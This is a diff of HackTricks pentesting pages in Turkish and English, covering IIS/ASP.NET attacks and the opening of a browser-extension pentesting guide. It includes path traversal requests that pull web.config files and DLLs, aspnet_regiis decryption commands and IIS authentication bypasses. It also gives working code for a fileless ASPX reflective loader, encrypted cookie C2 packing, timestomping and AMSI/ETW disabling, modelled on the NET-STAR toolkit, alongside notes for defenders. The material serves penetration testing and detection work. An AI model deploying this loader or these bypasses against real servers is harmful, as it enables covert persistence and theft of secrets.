> İndirilen **Dlls**lerden ayrıca **yeni namespaces** bulmak mümkün; bu alanlarda web.config dosyasına erişmeyi deneyip yeni namespaces ve assemblyIdentity bulabilirsiniz.\
|
||||||
> Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.
|
> Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.
|
||||||
|
|
||||||
**.Net MVC uygulamalarında**, **web.config** dosyası, uygulamanın bağımlı olduğu her ikili dosyayı **"assemblyIdentity"** XML etiketleri aracılığıyla belirterek kritik bir rol oynar.
|
In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
|
||||||
|
|
||||||
### **İkili Dosyaları Keşfetme**
|
### **İkili Dosyaları Keşfetme**
|
||||||
|
|
||||||
**web.config** dosyasına erişim örneği aşağıda gösterilmiştir:
|
An example of accessing the **web.config** file is shown below:
|
||||||
```html
|
```html
|
||||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
```
|
```
|
||||||
Bu istekte çeşitli ayarlar ve bağımlılıklar ortaya çıkmaktadır, örneğin:
|
Bu istek şu ayarları ve bağımlılıkları açığa çıkarıyor, örneğin:
|
||||||
|
|
||||||
- **EntityFramework** sürümü
|
- **EntityFramework** sürümü
|
||||||
- Web sayfaları, istemci doğrulaması ve JavaScript için **AppSettings**
|
- **AppSettings** web sayfaları, istemci doğrulaması ve JavaScript için
|
||||||
- Kimlik doğrulama ve çalışma zamanı için **System.web** yapılandırmaları
|
- **System.web** kimlik doğrulama ve runtime yapılandırmaları
|
||||||
- **System.webServer** modül ayarları
|
- **System.webServer** modül ayarları
|
||||||
- **Microsoft.Owin**, **Newtonsoft.Json** ve **System.Web.Mvc** gibi birçok kütüphane için **Runtime** derleme bağlamaları
|
- **Runtime** assembly bindingleri; örneğin **Microsoft.Owin**, **Newtonsoft.Json** ve **System.Web.Mvc** gibi birçok kütüphane için
|
||||||
|
|
||||||
Bu ayarlar, **/bin/WebGrease.dll** gibi belirli dosyaların uygulamanın /bin klasöründe bulunduğunu göstermektedir.
|
Bu ayarlar, **/bin/WebGrease.dll** gibi bazı dosyaların uygulamanın /bin klasöründe bulunduğunu gösterir.
|
||||||
|
|
||||||
### **Kök Dizin Dosyaları**
|
### **Kök Dizin Dosyaları**
|
||||||
|
|
||||||
Kök dizinde bulunan **/global.asax** ve hassas şifreler içeren **/connectionstrings.config** gibi dosyalar, uygulamanın yapılandırması ve çalışması için gereklidir.
|
Kök dizinde bulunan **/global.asax** ve **/connectionstrings.config** gibi dosyalar (gizli parolalar içerir) uygulamanın yapılandırması ve çalışması için gereklidir.
|
||||||
|
|
||||||
### **Ad Alanları ve Web.Config**
|
### **İsim Alanları ve Web.Config**
|
||||||
|
|
||||||
MVC uygulamaları, her dosyada tekrarlayan bildirimlerden kaçınmak için belirli ad alanları için ek **web.config dosyaları** tanımlar; bu, başka bir **web.config** indirme isteği ile gösterilmiştir:
|
MVC uygulamaları, her dosyada tekrar eden deklarasyonlardan kaçınmak için belirli isim alanları için ek **web.config dosyaları** tanımlar; bu, başka bir **web.config** indirme isteği ile gösterildi:
|
||||||
```html
|
```html
|
||||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
```
|
```
|
||||||
### **DLL'leri İndirme**
|
### **DLL'leri İndirme**
|
||||||
|
|
||||||
Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "**WebApplication1**" adlı bir DLL'ye işaret eder. Bunu takiben, **WebApplication1.dll** dosyasını indirmek için bir istek gösterilmektedir:
|
Özel bir namespace'ten bahsedilmesi, /bin dizininde "**WebApplication1**" adlı bir DLL'in bulunduğuna işaret eder. Bunu takiben, **WebApplication1.dll** dosyasını indirme isteği gösterilmiştir:
|
||||||
```html
|
```html
|
||||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
```
|
```
|
||||||
Bu, /bin dizininde **System.Web.Mvc.dll** ve **System.Web.Optimization.dll** gibi diğer önemli DLL'lerin varlığını önerir.
|
Bu, /bin dizininde **System.Web.Mvc.dll** ve **System.Web.Optimization.dll** gibi diğer gerekli DLL'lerin varlığına işaret eder.
|
||||||
|
|
||||||
Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarını açığa çıkarabilir, bu DLL **WebApplication1.AdditionalFeatures.dll** olabilir.
|
Bir DLL **WebApplication1.Areas.Minded** adlı bir namespace'i import ediyorsa, bir saldırgan /bin klasöründeki diğer DLL'lere referanslar ve belirli yapılandırmalar içeren **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarım yapabilir. Örneğin, **/Minded/Views/web.config** isteği başka bir DLL'in — **WebApplication1.AdditionalFeatures.dll** — varlığına işaret eden yapılandırmaları ve namespace'leri ortaya çıkarabilir.
|
||||||
|
|
||||||
### Yaygın dosyalar
|
### Yaygın dosyalar
|
||||||
|
|
||||||
@ -185,63 +185,182 @@ C:\xampp\tomcat\conf\server.xml
|
|||||||
```
|
```
|
||||||
## HTTPAPI 2.0 404 Hatası
|
## HTTPAPI 2.0 404 Hatası
|
||||||
|
|
||||||
Aşağıdaki gibi bir hata görüyorsanız:
|
If you see an error like the following one:
|
||||||
|
|
||||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||||
|
|
||||||
Bu, sunucunun **Host başlığı içinde doğru alan adını almadığı** anlamına gelir.\
|
Aşağıdaki gibi bir hata görürseniz:
|
||||||
Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts'ü brute force** yapmanız gerekebilir.
|
|
||||||
|
|
||||||
## Bakılması gereken eski IIS zafiyetleri
|
Bu, sunucunun **Host header** içinde doğru domain adını almadığı anlamına gelir.\
|
||||||
|
Web sayfasına erişmek için sunulan **SSL Certificate**'e bakabilir ve belki orada domain/alt alan adını bulabilirsiniz. Eğer orada yoksa doğru olanı bulana kadar **brute force VHosts** yapmanız gerekebilir.
|
||||||
|
|
||||||
### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği – Kısa Dosya/Klasör Adı Sızdırma
|
## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
|
||||||
|
|
||||||
Bu **teknik** ile her keşfedilen klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\
|
IIS üzerinde barındırılan .NET uygulamalarında secret'ları korumanın iki yaygın yöntemi:
|
||||||
Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir.
|
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) — web.config içindeki <connectionStrings> gibi bölümler için.
|
||||||
|
- ASP.NET Core Data Protection key ring (yerel olarak saklanan) — uygulama secret'larını ve çerezleri korumak için kullanılır.
|
||||||
|
|
||||||
Bu zafiyeti test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
Eğer web sunucusunda dosya sistemi veya interaktif erişiminiz varsa, aynı yerde bulunan anahtarlar genellikle deşifreye izin verir.
|
||||||
|
|
||||||
|
- ASP.NET (Full Framework) – protected config bölümlerini aspnet_regiis ile deşifre et:
|
||||||
|
```cmd
|
||||||
|
# Decrypt a section by app path (site configured in IIS)
|
||||||
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
|
||||||
|
|
||||||
|
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
|
||||||
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
|
||||||
|
```
|
||||||
|
- ASP.NET Core – Data Protection anahtar halkalarını yerel olarak saklanan (XML/JSON dosyaları) aşağıdaki gibi konumlarda arayın:
|
||||||
|
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
|
||||||
|
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
|
||||||
|
- Uygulama tarafından yönetilen klasör (örn., App_Data\keys veya uygulamanın yanında bir Keys dizini)
|
||||||
|
|
||||||
|
Data Protection anahtar halkası erişilebilir olduğunda, uygulamanın kimliğiyle çalışan bir operatör aynı purposes ile bir IDataProtector örneği oluşturup saklanan gizli verileri unprotect edebilir. Anahtar halkasını uygulama dosyalarıyla birlikte saklayan yanlış yapılandırmalar, host ele geçirildiğinde çevrimdışı deşifrelemeyi basit hale getirir.
|
||||||
|
|
||||||
|
## IIS dosyasız arka kapılar ve bellekte çalışan .NET loader'ları (NET-STAR tarzı)
|
||||||
|
|
||||||
|
Phantom Taurus/NET-STAR toolkit'i, w3wp.exe içinde tamamen dosyasız IIS kalıcılığı ve post‑exploitation için olgun bir model gösteriyor. Temel fikirler özel tradecraft ve detection/hunting için geniş şekilde yeniden kullanılabilir.
|
||||||
|
|
||||||
|
Key building blocks
|
||||||
|
- ASPX bootstrapper hosting an embedded payload: tek bir .aspx sayfası (örn. OutlookEN.aspx) Base64‑encoded, isteğe bağlı olarak Gzip‑compressed bir .NET DLL taşır. Bir tetik isteğinde bunu çözer, açar ve reflection kullanarak mevcut AppDomain'e yükler ve ana giriş noktasını (örn. ServerRun.Run()) çağırır.
|
||||||
|
- Cookie‑scoped, encrypted C2 with multi‑stage packing: görevler/sonuçlar Gzip → AES‑ECB/PKCS7 → Base64 ile paketlenir ve görünürde meşru, çerez ağırlıklı isteklere taşınır; operatörler parçalama için sabit ayırıcılar (örn. "STAR") kullandı.
|
||||||
|
- Reflective .NET execution: rasgele managed assembly'leri Base64 olarak alır, Assembly.Load(byte[]) ile yükler ve disk'e dokunmadan hızlı modül değişimleri için operatör argümanları iletir.
|
||||||
|
- Operating in precompiled ASP.NET sites: site önceden derlenmiş olsa bile yardımcı shell/arka kapılar ekleme/yönetme (örn. dropper dinamik sayfalar/handler'lar ekler veya config handler'lardan yararlanır) – bypassPrecompiledApp, addshell, listshell, removeshell gibi komutlarla ortaya çıkar.
|
||||||
|
- Timestomping/metadata forgery: deploy sırasında changeLastModified eylemi ve timestomp uygulanması (gelecekteki derleme zaman damgaları dahil) ile DFIR'i zorlaştırır.
|
||||||
|
- Optional AMSI/ETW pre‑disable for loaders: ikinci aşama bir loader, Assembly.Load çağrısından önce AMSI ve ETW'yi devre dışı bırakabilir; bu, bellekteki payload'ların incelenmesini azaltır.
|
||||||
|
|
||||||
|
Minimal ASPX loader pattern
|
||||||
|
```aspx
|
||||||
|
<%@ Page Language="C#" %>
|
||||||
|
<%@ Import Namespace="System" %>
|
||||||
|
<%@ Import Namespace="System.IO" %>
|
||||||
|
<%@ Import Namespace="System.IO.Compression" %>
|
||||||
|
<%@ Import Namespace="System.Reflection" %>
|
||||||
|
<script runat="server">
|
||||||
|
protected void Page_Load(object sender, EventArgs e){
|
||||||
|
// 1) Obtain payload bytes (hard‑coded blob or from request)
|
||||||
|
string b64 = /* hardcoded or Request["d"] */;
|
||||||
|
byte[] blob = Convert.FromBase64String(b64);
|
||||||
|
// optional: decrypt here if AES is used
|
||||||
|
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
|
||||||
|
using(var ms = new MemoryStream()){
|
||||||
|
gz.CopyTo(ms);
|
||||||
|
var asm = Assembly.Load(ms.ToArray());
|
||||||
|
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
|
||||||
|
var t = asm.GetType("ServerRun");
|
||||||
|
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
|
||||||
|
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
|
||||||
|
m.Invoke(inst, new object[]{ HttpContext.Current });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
Paketleme/crypto yardımcıları (Gzip + AES‑ECB + Base64)
|
||||||
|
```csharp
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
|
||||||
|
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
|
||||||
|
using(var aes = Aes.Create()){
|
||||||
|
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
|
||||||
|
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
|
||||||
|
return t.TransformFinalBlock(data, 0, data.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static string Pack(object obj, byte[] key){
|
||||||
|
// serialize → gzip → AES‑ECB → Base64
|
||||||
|
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
|
||||||
|
using var ms = new MemoryStream();
|
||||||
|
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
|
||||||
|
byte[] enc = AesEcb(ms.ToArray(), key, true);
|
||||||
|
return Convert.ToBase64String(enc);
|
||||||
|
}
|
||||||
|
|
||||||
|
static T Unpack<T>(string b64, byte[] key){
|
||||||
|
byte[] enc = Convert.FromBase64String(b64);
|
||||||
|
byte[] cmp = AesEcb(enc, key, false);
|
||||||
|
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
|
||||||
|
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
|
||||||
|
return Deserialize<T>(outMs.ToArray());
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Çerez/oturum akışı ve komut yüzeyi
|
||||||
|
- Oturum başlatma ve görev atamaları, normal web etkinliğiyle karışması için çerezler aracılığıyla iletilir.
|
||||||
|
- Sahada gözlemlenen komutlar şunlardı: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; ve bellek içi .NET yürütmesi için dinamik yürütme primitifleri code_self, code_pid, run_code.
|
||||||
|
|
||||||
|
Timestomping aracı
|
||||||
|
```csharp
|
||||||
|
File.SetCreationTime(path, ts);
|
||||||
|
File.SetLastWriteTime(path, ts);
|
||||||
|
File.SetLastAccessTime(path, ts);
|
||||||
|
```
|
||||||
|
Assembly.Load (loader variant) öncesinde satır içi AMSI/ETW devre dışı bırakma
|
||||||
|
```csharp
|
||||||
|
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
|
||||||
|
// and ntdll!EtwEventWrite to a stub; then load operator assembly
|
||||||
|
DisableAmsi();
|
||||||
|
DisableEtw();
|
||||||
|
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
|
||||||
|
```
|
||||||
|
Bkz. AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
|
||||||
|
|
||||||
|
Hunting notes (defenders)
|
||||||
|
- Tek, tuhaf bir ASPX sayfası; çok uzun Base64/Gzip blob'ları; cookie‑ağırlıklı POST'lar.
|
||||||
|
- w3wp.exe içinde disk üzerinde olmayan managed modüller; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run gibi string'ler.
|
||||||
|
- Trafikte "STAR" gibi tekrar eden ayırıcılar; ASPX/assembly'lerde uyuşmayan veya hatta geleceğe ait zaman damgaları.
|
||||||
|
|
||||||
|
## Old IIS vulnerabilities worth looking for
|
||||||
|
|
||||||
|
|
||||||
|
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||||
|
|
||||||
|
Keşfedilen her klasörün içinde (Basic Authentication gerektirse bile) klasörleri ve dosyaları listelemeyi deneyebilirsiniz bu teknikle.\
|
||||||
|
Sunucu bu zafiyete açıksa, bu tekniğin ana kısıtlaması her dosya/klasör adının ilk 6 harfine ve dosya uzantısının ilk 3 harfine kadar olan kısmı bulabilmesidir.
|
||||||
|
|
||||||
|
You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Orijinal araştırma: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||||
|
|
||||||
Ayrıca **metasploit** kullanabilirsiniz: `use scanner/http/iis_shortname_scanner`
|
You can also use **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||||
|
|
||||||
Keşfedilen dosyaların **son adını bulmak** için **LLM'lere** seçenekler sormak güzel bir fikirdir, bu [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) scriptinde olduğu gibi.
|
A nice idea to **find the final name** of the discovered files is to **ask LLMs** for options like it's done in the script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||||
|
|
||||||
### Temel Kimlik Doğrulama atlatma
|
### Basic Authentication bypass
|
||||||
|
|
||||||
**IIS 7.5** temel kimlik doğrulamasını atlatmayı deneyin: `/admin:$i30:$INDEX_ALLOCATION/admin.php` veya `/admin::$INDEX_ALLOCATION/admin.php`
|
Bypass a basic authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
|
||||||
|
|
||||||
Yeni **klasörler** bulmak ve kimlik doğrulamayı **atlatmak** için bu **zafiyeti** ve sonuncusunu **karıştırmayı** deneyebilirsiniz.
|
You can try to **mix** this **vulnerability** and the last one to find new **folders** and **bypass** the authentication.
|
||||||
|
|
||||||
## ASP.NET Trace.AXD etkin hata ayıklama
|
## ASP.NET Trace.AXD enabled debugging
|
||||||
|
|
||||||
ASP.NET, bir hata ayıklama modu içerir ve dosyası `trace.axd` olarak adlandırılır.
|
ASP.NET bir debugging modu içerir ve dosyası `trace.axd` olarak adlandırılır.
|
||||||
|
|
||||||
Bu, bir uygulamaya yapılan tüm isteklerin çok ayrıntılı bir kaydını tutar.
|
Bu, bir uygulamaya belirli bir süre içinde yapılan tüm isteklerin çok detaylı bir kaydını tutar.
|
||||||
|
|
||||||
Bu bilgi, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezleri, fiziksel yollar, kaynak kodu bilgileri ve potansiyel olarak kullanıcı adları ve şifreleri içerir.
|
Bu bilgiler uzak istemci IP'lerini, session ID'lerini, tüm istek ve yanıt cookie'lerini, fiziksel yolları, kaynak kodu bilgilerini ve potansiyel olarak kullanıcı adları ve şifreleri bile içerebilir.
|
||||||
|
|
||||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## ASPXAUTH Çerezi
|
## ASPXAUTH Cookie
|
||||||
|
|
||||||
ASPXAUTH aşağıdaki bilgileri kullanır:
|
ASPXAUTH uses the following info:
|
||||||
|
|
||||||
- **`validationKey`** (string): imza doğrulaması için kullanılacak hex kodlu anahtar.
|
- **`validationKey`** (string): imza doğrulaması için kullanılacak hex-kodlu anahtar.
|
||||||
- **`decryptionMethod`** (string): (varsayılan “AES”).
|
- **`decryptionMethod`** (string): (varsayılan “AES”).
|
||||||
- **`decryptionIV`** (string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür).
|
- **`decryptionIV`** (string): hex-kodlu başlatma vektörü (varsayılan olarak sıfırlardan oluşan bir vektör).
|
||||||
- **`decryptionKey`** (string): şifreleme için kullanılacak hex kodlu anahtar.
|
- **`decryptionKey`** (string): şifre çözme için kullanılacak hex-kodlu anahtar.
|
||||||
|
|
||||||
Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformda** bir web bulabilirseniz ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanabilir** ve kullanıcıyı taklit edebilirsiniz.\
|
Ancak bazı kişiler bu parametrelerin **default values**'larını kullanacak ve cookie olarak kullanıcının email'ini tercih edeceklerdir. Bu yüzden, aynı platformu kullanan ve ASPXAUTH cookie kullanan başka bir web bulabilir ve saldırı altındaki sunucuda **impersonate etmek istediğiniz kullanıcının email'iyle** bir kullanıcı oluşturursanız, ikinci sunucudan aldığınız cookie'yi ilk sunucuda us**e the cookie from the second server in the first one** ve kullanıcıyı taklit edebilmeniz mümkün olabilir.\
|
||||||
Bu saldırı bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) çalıştı.
|
Bu saldırı şu [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) içinde başarılı olmuştu.
|
||||||
|
|
||||||
## Önbelleklenmiş şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||||
|
|
||||||
[Tam rapor burada](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kullanıcının verdiği şifreyi **doğru bir şekilde kontrol etmeyen** bir kod hatası, **şifre hash'i önbellekte** zaten bulunan bir anahtara denk gelen bir saldırganın o kullanıcı olarak giriş yapabilmesine neden olur.
|
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Koddaki bir bug **kullanıcının verdiği şifreyi düzgün şekilde kontrol etmiyordu**, bu yüzden parola hash'i **zaten önbellekte bir anahtara çarparsa** saldırgan o kullanıcı olarak giriş yapabilecekti.
|
||||||
```python
|
```python
|
||||||
# script for sanity check
|
# script for sanity check
|
||||||
> type test.py
|
> type test.py
|
||||||
@ -261,4 +380,9 @@ HTTP/1.1 401 Unauthorized
|
|||||||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
```
|
```
|
||||||
|
## Kaynaklar
|
||||||
|
|
||||||
|
- [Unit 42 – Phantom Taurus: Yeni Çin Nexus APT ve NET-STAR Malware Suite'in Keşfi](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||||
|
- [AMSI/ETW bypass arka planı (HackTricks)](../../windows-hardening/av-bypass.md)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -1,41 +1,41 @@
|
|||||||
# Tarayıcı Eklentisi Pentesting Metodolojisi
|
# Tarayıcı Uzantısı Pentesting Metodolojisi
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Temel Bilgiler
|
## Temel Bilgiler
|
||||||
|
|
||||||
Tarayıcı eklentileri JavaScript ile yazılır ve tarayıcı tarafından arka planda yüklenir. Kendi [DOM](https://www.w3schools.com/js/js_htmldom.asp)'u vardır ancak diğer sitelerin DOM'larıyla etkileşimde bulunabilir. Bu, diğer sitelerin gizliliğini, bütünlüğünü ve erişilebilirliğini (CIA) tehlikeye atabileceği anlamına gelir.
|
Tarayıcı uzantıları JavaScript ile yazılır ve tarayıcı tarafından arka planda yüklenir. Kendi [DOM]'u vardır ancak diğer sitelerin DOM'larıyla etkileşime girebilir. Bu, diğer sitelerin gizliliğini, bütünlüğünü ve erişilebilirliğini (CIA) tehlikeye atabileceği anlamına gelir.
|
||||||
|
|
||||||
## Ana Bileşenler
|
## Ana Bileşenler
|
||||||
|
|
||||||
Eklenti düzenleri en iyi şekilde görselleştirildiğinde görünür ve üç bileşenden oluşur. Her bir bileşeni derinlemesine inceleyelim.
|
Uzantı düzenleri görselleştirildiğinde en iyi görünür ve üç bileşenden oluşur. Her bir bileşeni derinlemesine inceleyelim.
|
||||||
|
|
||||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
### **İçerik Scriptleri**
|
### **Content Scripts**
|
||||||
|
|
||||||
Her içerik scripti, **tek bir web sayfasının** DOM'una doğrudan erişime sahiptir ve bu nedenle **potansiyel olarak kötü niyetli girdi** ile karşı karşıyadır. Ancak, içerik scriptinin eklenti çekirdeğine mesaj göndermenin dışında başka bir izni yoktur.
|
Her content script, **tek bir web sayfası**nın DOM'una doğrudan erişime sahiptir ve bu nedenle **potansiyel olarak kötü amaçlı girdiye** maruz kalır. Ancak content script, extension core'a mesaj gönderme yeteneği dışında başka izinlere sahip değildir.
|
||||||
|
|
||||||
### **Eklenti Çekirdeği**
|
### **Extension Core**
|
||||||
|
|
||||||
Eklenti çekirdeği, eklentinin çoğu ayrıcalıklarını/erişimlerini içerir, ancak eklenti çekirdeği yalnızca [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) ve içerik scriptleri aracılığıyla web içeriği ile etkileşimde bulunabilir. Ayrıca, eklenti çekirdeğinin ana makineye doğrudan erişimi yoktur.
|
Extension core, uzantının çoğu ayrıcalık/erişimini içerir, ancak extension core yalnızca web içeriğiyle [XMLHttpRequest] ve content script'ler aracılığıyla etkileşime girebilir. Ayrıca extension core'un host makinesine doğrudan erişimi yoktur.
|
||||||
|
|
||||||
### **Yerel İkili**
|
### **Native Binary**
|
||||||
|
|
||||||
Eklenti, **kullanıcının tam ayrıcalıklarıyla ana makineye erişebilen bir yerel ikili** sağlar. Yerel ikili, Flash ve diğer tarayıcı eklentileri tarafından kullanılan standart Netscape Eklenti Uygulama Programlama Arayüzü ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) aracılığıyla eklenti çekirdeği ile etkileşimde bulunur.
|
Uzantı, **kullanıcının tam ayrıcalıklarıyla host makinesine erişebilen** bir native binary'ye izin verir. Native binary, Flash ve diğer tarayıcı eklentileri tarafından kullanılan standart Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) üzerinden extension core ile etkileşir.
|
||||||
|
|
||||||
### Sınırlar
|
### Boundaries
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Kullanıcının tam ayrıcalıklarını elde etmek için, bir saldırganın eklentiyi içerik scriptinden kötü niyetli girdiyi eklentinin çekirdeğine ve eklentinin çekirdeğinden yerel ikiliye geçirmesi için ikna etmesi gerekir.
|
> Kullanıcının tam ayrıcalıklarını elde etmek için, bir saldırganın extension'ı content script'ten extension core'a ve extension core'dan native binary'ye kötü amaçlı girdi iletmeye ikna etmesi gerekir.
|
||||||
|
|
||||||
Eklentinin her bir bileşeni, **güçlü koruyucu sınırlarla** birbirinden ayrılmıştır. Her bir bileşen, **ayrı bir işletim sistemi sürecinde** çalışır. İçerik scriptleri ve eklenti çekirdekleri, çoğu işletim sistemi hizmetine kapalı olan **sandbox süreçlerinde** çalışır.
